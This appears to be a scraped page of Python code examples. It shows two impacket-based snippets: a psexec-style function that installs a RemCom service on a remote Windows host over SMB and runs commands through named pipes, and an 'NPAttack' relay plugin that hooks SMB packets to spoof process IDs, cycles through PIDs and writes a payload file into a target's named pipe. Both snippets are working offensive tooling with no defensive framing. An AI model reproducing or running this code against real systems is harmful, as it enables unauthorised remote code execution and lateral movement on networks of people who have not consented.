Ejemplo n.º 1
0
def psexec_cmd(session, command, path=None):
    session.lock.acquire()

    if commander.server.service_name is not None:
        svc_name = commander.server.service_name
    else:
        svc_name = "smbcom" + random_string(8)

    connection = SMBConnection(existingConnection=session)

    installService = serviceinstall.ServiceInstall(session,
                                                   remcomsvc.RemComSvc(),
                                                   svc_name)

    installService.install()

    tid = connection.connectTree('IPC$')
    fid_main = openPipe(connection, tid, '\\RemCom_communicaton', 0x12019f)

    packet = psexec.RemComMessage()
    pid = os.getpid()

    packet['Machine'] = ''.join(
        [random.choice(string.letters) for _ in range(4)])
    if path is not None:
        packet['WorkingDir'] = path
    packet['Command'] = command
    packet['ProcessID'] = pid

    connection.writeNamedPipe(tid, fid_main, str(packet))

    stdin_pipe = psexec.CommanderRemoteStdInPipe(
        connection, '\\%s%s%d' %
        (psexec.RemComSTDIN, packet['Machine'], packet['ProcessID']),
        FILE_WRITE_DATA | FILE_APPEND_DATA, installService.getShare())
    stdin_pipe.start()

    stdout_pipe = psexec.CommanderRemoteStdOutPipe(
        connection, '\\%s%s%d' %
        (psexec.RemComSTDOUT, packet['Machine'], packet['ProcessID']),
        FILE_READ_DATA)
    stdout_pipe.start()

    stderr_pipe = psexec.CommanderRemoteStdErrPipe(
        connection, '\\%s%s%d' %
        (psexec.RemComSTDERR, packet['Machine'], packet['ProcessID']),
        FILE_READ_DATA)
    stderr_pipe.start()

    ans = connection.readNamedPipe(tid, fid_main, 8)

    session.lock.release()
Ejemplo n.º 2
0
class NPAttack(ProtocolAttack):
    """
    This is the SMB default attack class.
    It will either dump the hashes from the remote target, or open an interactive
    shell if the -i option is specified.
    """
    PLUGIN_NAMES = ["NP"]

    def __init__(self, config, SMBClient, username):
        ProtocolAttack.__init__(self, config, SMBClient, username)

        self.pid = int(config.pipe_client_pid)
        self.pipe_name = config.pipe_name
        self.payload = config.payload_path
        if not config.command:
            self.command = 'c:\\windows\\system32\\cmd.exe'
        else:
            self.command = config.command

        self.sendSMB_Original = self.client._SMBConnection.sendSMB
        self.client._SMBConnection.sendSMB = types.MethodType(
            self.sendSMB, self.client._SMBConnection)

        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        else:
            self.__SMBConnection = SMBClient

    def openPipe(self, tid, pipe, accessMask):
        pipeReady = False
        tries = 50
        while pipeReady is False and tries > 0:
            try:
                self.__SMBConnection.waitNamedPipe(tid, pipe)
                pipeReady = True
            except Exception as e:
                print(str(e))
                tries -= 1
                time.sleep(2)
                pass

        if tries == 0:
            raise Exception('Pipe not ready, aborting')

        fid = self.__SMBConnection.openFile(tid,
                                            pipe,
                                            accessMask,
                                            creationOption=0x40,
                                            fileAttributes=0x80)

        return fid

    def isPipeAvailable(self, tid):
        try:
            fid = self.openPipe(tid, '\\' + self.pipe_name, 0x12019f)
            self.__SMBConnection.closeFile(tid, fid)
            return True
        except:
            return False

    def sendPayload(self, tid):

        result = True
        fid = self.openPipe(tid, '\\' + self.pipe_name, 0x12019f)
        payload_file = open(self.payload, mode='rb')
        payload = payload_file.read()
        response = None

        try:
            self.__SMBConnection.writeNamedPipe(tid, fid, payload, True)
            response = self.__SMBConnection.readNamedPipe(tid, fid)

        except Exception as e:
            response = e
            result = False

        finally:
            self.__SMBConnection.closeFile(tid, fid)
            return result

    def getData(self, original):
        original['Pid'] = self.pid
        return original.orignalGetData()

    def sendSMB(self, original, packet):

        # Some ugly hacks here, essentially we are hooking
        # some original SMB1/2 function from impacket so we
        # can intercept the calls and patch the PID at the correct point

        if packet['Command'] is SMB2_CREATE:  #SMB2/3
            # If the command type is create for opening files/named pipes
            # then replace the Reserved (PID) field with our spoofed PID
            packet["Reserved"] = self.pid
        elif packet['Command'] is SMB.SMB_COM_NT_CREATE_ANDX:  #SMB1
            # Additional level of hooks here since SMB1 packets are
            # handled differently, and in fact the impacket does use
            # the real process PID of the client, so we need to override
            # that behavior
            packet.orignalGetData = packet.getData
            packet.getData = types.MethodType(self.getData, packet)

        # Send our packet using original sendSMB function
        self.sendSMB_Original(packet)

    def run(self):

        tid = self.__SMBConnection.connectTree('IPC$')

        if not self.isPipeAvailable(tid):
            LOG.warn("Pipe not found or accessible on host %s" %
                     (self.__SMBConnection.getRemoteHost()))
            return

        if self.pid is 0:
            LOG.info(
                "Pipe found and writable on %s, starting attack through PID cycling!"
                % (self.__SMBConnection.getRemoteHost()))
            self.pid = 4
            while self.pid < 50000 and self.sendPayload(tid) is False:
                self.pid += 4

            LOG.info("Finished PID cycling on host %s",
                     self.__SMBConnection.getRemoteHost())
        else:
            LOG.info(
                "Pipe found and writable on %s, sending payload using PID %d!"
                % (self.__SMBConnection.getRemoteHost(), self.pid))
            self.sendPayload(tid)

        self.__SMBConnection.close()